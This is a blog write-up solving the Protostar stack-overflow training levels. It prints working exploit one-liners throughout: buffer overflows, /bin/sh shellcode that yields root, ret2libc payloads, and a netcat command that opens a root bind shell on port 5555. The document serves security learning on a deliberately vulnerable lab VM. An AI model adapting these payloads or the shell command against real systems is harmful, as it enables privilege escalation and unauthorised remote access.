Protostar solutions - Stack Levels

Part two of the three exploit exercises available. This set of challenges focused purely on memory corruption via stack overflows; the challenges here weren’t too difficult, but I wanted to work through them anyway. A post with the remaining levels will follow.

user@protostar:~$ python -c "print 'A'*70" | ./stack0 
you have changed the 'modified' variable
user@protostar:~$
user@protostar:~$ ./stack1 $(perl -e 'print "A"x64 . "dcba"')
you have correctly got the variable to the right value
user@protostar:~$

It’s also worth noting that, if you’re loading this into gdb, the modified variable is volatile, so if you p &modified and don’t get the right value, don’t worry. You’re not crazy.

user@protostar:~$ export GREENIE=$(perl -e 'print "A"x64 . "\x0a\x0d\x0a\x0d"')
user@protostar:~$ ./stack2
you have correctly modified the variable
user@protostar:~$ objdump -d stack3 | grep win
08048424 <win>:
user@protostar:~$ echo $(perl -e 'print "A"x64 . "\x24\x84\x04\x08"') | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
user@protostar:~$ 
user@protostar:~$ objdump -d stack4 | grep win
080483f4 <win>:
user@protostar:~$ perl -e 'print "A"x76 . "\xf4\x83\x04\x08"' | ./stack4 
code flow successfully changed
Segmentation fault
user@protostar:~$ 
(gdb) ni
Executing new program: /bin/dash
Error in re-setting breakpoint 1: Function "main" not defined.

Program exited normally.
(gdb) 

During one of my googling escapades, I haphazardly clicked this link from someone having the exact same issues with this level. What should be a very simple buffer overflow turned into a very wonky, absurd tumble through some obscure shellcode issues. In the end, I came up with this solution:

user@protostar:/opt/protostar/bin$ perl -e 'print "A"x76 . "\x80\xf7\xff\xbf" . "\x90"x9 . "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' | ./stack5 
# whoami
root
#

This one was pretty fun, as I was able to leverage the ret2libc to pull it off. I used c0ntext’s ret2libc demonstration paper as reference. I based most of my work off the previous level, and modified it only by adding system() and exit() addresses. My payload in the end looked like this:

[80 bytes junk | system() address | exit() address | command]

For this example, I have my command stashed in the GETME environmental variable:

user@protostar:/opt/protostar/bin$ export GETME=/bin/sh
user@protostar:/opt/protostar/bin$ perl -e 'print "A"x80 . "\xb0\xff\xec\xb7" . "\xc0\x60\xec\xb7" . "\x86\xff\xff\xbf";' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA�����`췆���
user@protostar:/opt/protostar/bin$ export GETME=/usr/bin/whoami
user@protostar:/opt/protostar/bin$ perl -e 'print "A"x80 . "\xb0\xff\xec\xb7" . "\xc0\x60\xec\xb7" . "\x80\xff\xff\xbf";' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA�����`췀���
root
user@protostar:/opt/protostar/bin$ 

I wasn’t able to get /bin/sh launched with a system() call, and after checking the man page, it appears that system drops root privileges. My second thought was to simply open up a reverse shell:

user@protostar:/opt/protostar/bin$ export GETME="/bin/nc -l -p 5555 -e /bin/sh"
user@protostar:/opt/protostar/bin$ perl -e 'print "A"x80 . "\xb0\xff\xec\xb7" . "\xc0\x60\xec\xb7" . "\x72\xff\xff\xbf";' | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA�����`��r���

I now had a root shell listening on port 5555.

I dumped the shellcode from level 5 into this, but for some reason the shell would only spawn if running in gdb:

user@protostar:/opt/protostar/bin$ perl -e 'print "A"x80 . "\x92\x84\x04\x08" . "\x90"x8 . "\xac\xf7\xff\xbf" . "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' > /tmp/input
user@protostar:/opt/protostar/bin$ gdb ./stack7
Reading symbols from /opt/protostar/bin/stack7...done.
(gdb) r < /tmp/input
Starting program: /opt/protostar/bin/stack7 < /tmp/input
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��������������1�1۰ ̀Sh/ttyh/dev��1�f� '�̀1�Ph//shh/bin��PS�ᙰ

Executing new program: /bin/dash
$ exit
user@protostar:/opt/protostar/bin$ ./stack7 < /tmp/input
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��������������1�1۰ ̀Sh/ttyh/dev��1�f� '�̀1�Ph//shh/bin��PS�ᙰ

Segmentation fault
user@protostar:/opt/protostar/bin$

Where \xac\xf7\xff\xbf is the address of shellcode. Instead I threw shellcode into an environmental variable and leveraged Jon Ericson’s getenvaddr application to find the offset:

user@protostar:/opt/protostar/bin$ export GETME=`perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
user@protostar:/opt/protostar/bin$ /tmp/test GETME ./stack7
GETME will be at 0xbfffff58
user@protostar:/opt/protostar/bin$ perl -e 'print "A"x80 . "\x92\x84\x04\x08" . "\x90"x8 . "\x58\xff\xff\xbf"' > /tmp/input
user@protostar:/opt/protostar/bin$ ./stack7 < /tmp/input 
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA����������X���
# whoami
root
# 

Overall these levels were pretty basic, but I’m looking forward to digging into Fusion for more advanced flags.